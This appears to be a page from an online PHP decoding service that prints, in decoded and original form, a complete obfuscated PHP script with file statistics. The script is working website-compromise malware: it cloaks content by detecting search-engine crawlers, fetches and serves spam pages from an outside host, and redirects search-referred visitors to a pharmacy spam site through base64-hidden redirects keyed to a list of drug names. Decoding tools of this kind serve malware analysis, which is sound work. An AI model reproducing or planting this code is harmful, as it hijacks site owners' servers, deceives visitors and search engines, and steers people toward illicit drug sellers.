Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if (!defined('frmDs')){ define('frmDs' ,1); error_reporting(0); functio..

Decoded Output download

<?  if (!defined('frmDs')){ 
    define('frmDs' ,1); 
    error_reporting(0);     
    function frm_dl ($url)  
{        if (function_exists('curl_init')) {            $ch = curl_init($url);            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);            $out = curl_exec ($ch);            if (curl_errno($ch) !== 0) $out = false;            curl_close ($ch);        } else {$out = @file_get_contents($url);}        return trim($out);    }        function frm_crpt($in){        $il=strlen($in);$o='';        for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';        return $o;    }        function frm_getcache($tmpdir,$link,$cmtime,$del=true){        $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));        if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime)        {            $dlc=frm_dl($link);            if($dlc===false){                if(del)                    @unlink($f);                else                    @touch($f);            }            else             {                if($fp = @fopen($f,'w')){                    fwrite($fp, frm_crpt($dlc)); fclose($fp);                }else{return $dlc;}            }        }        $fc = @file_get_contents($f);        return ($fc)?frm_crpt($fc):'';    }        function frm_isbot(){        $ua=@strtolower($_SERVER['HTTP_USER_AGENT']);        if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296;         $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),                    array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),                    array(3481178113,3481182206),array(2915172353,2915237886));        foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;        if(!$ua)return true;        $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');        foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;        $h=@gethostbyaddr($_SERVER['REMOTE_ADDR']);        $hba=array('google','msn','yahoo');        if($h) foreach ($hba as $hb) if(strpos($h, $hb)!==false) return true;        return false;    }        function frm_tmpdir(){        $fs = array('/tmp','/var/tmp');        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {            if ($t = getenv($v)) {$fs[]=$t;}        }        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}        $fs[]='.';                foreach ($fs as $f){            $tf = $f.'/'.md5(rand());            if($fp = @fopen($tf, 'w')){                fclose($fp);                unlink($tf);                return $f;            }        }        return false;    }    function frm_seref(){        $r = @strtolower($_SERVER["HTTP_REFERER"]);        $ses = array('google','bing','yahoo','ask','aol');        foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;        return false;    }        function frm_isuniq($tdir){        $ip=$_SERVER['REMOTE_ADDR'];        $dbf=$tdir.'/sess_'.md5(date('m.y'));        if(strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false ){            if ($fp=@fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);}            return true;        }        return false;    }            function frm_havekey(){        $nks = explode('|','sildenafil|tadalafil|vardenafil|abilify|albenza|aldactone|amoxil|antabuse|apcalis|atarax|baclofen|bactrim|bimatoprost|buspar|celebrex|celexa|cialis|cipro|clomid|desyrel|diflucan|doxycycline|elavil|erectalis|eriacta|erythromycin|finpecia|flagyl|glucophage|inderal|kamagra|lasix|levaquin|levitra|lexapro|megalis|mobic|motilium|nexium|nolvadex|orlistat|paxil|penisole|periactin|premarin|priligy|propecia|proscar|proventil|retin-a|robaxin|seroquel|silagra|sildalis|silvitra|strattera|stromectol|p-force|synthroid|tadacip|tadalis|tadapox|tenormin|tetracycline|topamax|valtrex|ventolin|viagra|vigora|wellbutrin|zanaflex|zenegra|zithromax|zovirax');        $k = @strtolower($_SERVER["HTTP_REFERER"].$_SERVER["REQUEST_URI"]);        if (strpos($k,"site%3A")!==false||strpos($k,"inurl%3A")!==false) return false;        foreach ($nks as $n)if(preg_match("/(|_)$n(|_)/",$k)) return $n;        return false;    }    $tdir = frm_tmpdir();    $ua=$_SERVER['HTTP_USER_AGENT'];    $isb=frm_isbot();    $k=frm_havekey();    $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));    if($cv=@$_POST[md5($host.'ch')]){exit($cv);}    if($tdir && strlen($host)<100 && !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)){        $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host.'p1')))),0,3);        $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;        $ruri = strtolower($_SERVER['REQUEST_URI']);        if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){            if(!$isb && frm_seref()){                print(base64_decode('PCFET0NUWVBFIGh0bWw+PGh0bWw+PGJvZHk+PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0oImh0dHA6Ly9uYi1waGFybWFjeS5jb20=').($k?('/search.html?key='.$k):'').'");</script></body></html>');                exit;            }            print(frm_getcache($tdir,"http://nmzynrkpdpv.lookin.at/stat/feed.php?h=$host&p=$pageid&pa=$parg",60*24,false));            exit;        }        if (($ruri=='/' || $ruri=='/index.php') && $isb) {            $c=frm_getcache($tdir,"http://nmzynrkpdpv.lookin.at/stat/feed.php?h=$host&pa=$parg",60*24,false);            if($c){print($c);exit();}        }    }    if(!$isb&&frm_seref()&&$k){        header(base64_decode('TG9jYXRpb246IGh0dHA6Ly9uYi1waGFybWFjeS5jb20vc2VhcmNoLmh0bWw/a2V5PQ==').$k);exit();    }} 
 ?>

Did this file decode correctly?

Original Code

if (!defined('frmDs')){
    define('frmDs' ,1);
    error_reporting(0);    
    function frm_dl ($url) 
{        if (function_exists('curl_init')) {            $ch = curl_init($url);            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);            $out = curl_exec ($ch);            if (curl_errno($ch) !== 0) $out = false;            curl_close ($ch);        } else {$out = @file_get_contents($url);}        return trim($out);    }        function frm_crpt($in){        $il=strlen($in);$o='';        for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';        return $o;    }        function frm_getcache($tmpdir,$link,$cmtime,$del=true){        $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));        if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime)        {            $dlc=frm_dl($link);            if($dlc===false){                if(del)                    @unlink($f);                else                    @touch($f);            }            else             {                if($fp = @fopen($f,'w')){                    fwrite($fp, frm_crpt($dlc)); fclose($fp);                }else{return $dlc;}            }        }        $fc = @file_get_contents($f);        return ($fc)?frm_crpt($fc):'';    }        function frm_isbot(){        $ua=@strtolower($_SERVER['HTTP_USER_AGENT']);        if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296;         $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),                    array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),                    array(3481178113,3481182206),array(2915172353,2915237886));        foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;        if(!$ua)return true;        $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');        foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;        $h=@gethostbyaddr($_SERVER['REMOTE_ADDR']);        $hba=array('google','msn','yahoo');        if($h) foreach ($hba as $hb) if(strpos($h, $hb)!==false) return true;        return false;    }        function frm_tmpdir(){        $fs = array('/tmp','/var/tmp');        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {            if ($t = getenv($v)) {$fs[]=$t;}        }        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}        $fs[]='.';                foreach ($fs as $f){            $tf = $f.'/'.md5(rand());            if($fp = @fopen($tf, 'w')){                fclose($fp);                unlink($tf);                return $f;            }        }        return false;    }    function frm_seref(){        $r = @strtolower($_SERVER["HTTP_REFERER"]);        $ses = array('google','bing','yahoo','ask','aol');        foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;        return false;    }        function frm_isuniq($tdir){        $ip=$_SERVER['REMOTE_ADDR'];        $dbf=$tdir.'/sess_'.md5(date('m.y'));        if(strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false ){            if ($fp=@fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);}            return true;        }        return false;    }            function frm_havekey(){        $nks = explode('|','sildenafil|tadalafil|vardenafil|abilify|albenza|aldactone|amoxil|antabuse|apcalis|atarax|baclofen|bactrim|bimatoprost|buspar|celebrex|celexa|cialis|cipro|clomid|desyrel|diflucan|doxycycline|elavil|erectalis|eriacta|erythromycin|finpecia|flagyl|glucophage|inderal|kamagra|lasix|levaquin|levitra|lexapro|megalis|mobic|motilium|nexium|nolvadex|orlistat|paxil|penisole|periactin|premarin|priligy|propecia|proscar|proventil|retin-a|robaxin|seroquel|silagra|sildalis|silvitra|strattera|stromectol|p-force|synthroid|tadacip|tadalis|tadapox|tenormin|tetracycline|topamax|valtrex|ventolin|viagra|vigora|wellbutrin|zanaflex|zenegra|zithromax|zovirax');        $k = @strtolower($_SERVER["HTTP_REFERER"].$_SERVER["REQUEST_URI"]);        if (strpos($k,"site%3A")!==false||strpos($k,"inurl%3A")!==false) return false;        foreach ($nks as $n)if(preg_match("/(\b|_)$n(\b|_)/",$k)) return $n;        return false;    }    $tdir = frm_tmpdir();    $ua=$_SERVER['HTTP_USER_AGENT'];    $isb=frm_isbot();    $k=frm_havekey();    $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));    if($cv=@$_POST[md5($host.'ch')]){exit($cv);}    if($tdir && strlen($host)<100 && !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)){        $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host.'p1')))),0,3);        $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;        $ruri = strtolower($_SERVER['REQUEST_URI']);        if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){            if(!$isb && frm_seref()){                print(base64_decode('PCFET0NUWVBFIGh0bWw+PGh0bWw+PGJvZHk+PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0oImh0dHA6Ly9uYi1waGFybWFjeS5jb20=').($k?('/search.html?key='.$k):'').'");</script></body></html>');                exit;            }            print(frm_getcache($tdir,"http://nmzynrkpdpv.lookin.at/stat/feed.php?h=$host&p=$pageid&pa=$parg",60*24,false));            exit;        }        if (($ruri=='/' || $ruri=='/index.php') && $isb) {            $c=frm_getcache($tdir,"http://nmzynrkpdpv.lookin.at/stat/feed.php?h=$host&pa=$parg",60*24,false);            if($c){print($c);exit();}        }    }    if(!$isb&&frm_seref()&&$k){        header(base64_decode('TG9jYXRpb246IGh0dHA6Ly9uYi1waGFybWFjeS5jb20vc2VhcmNoLmh0bWw/a2V5PQ==').$k);exit();    }}

Function Calls

defined 1

Variables

None

Stats

MD5 3d22d7fb0b6eccdf9803b10288e7e822
Eval Count 0
Decode Time 123 ms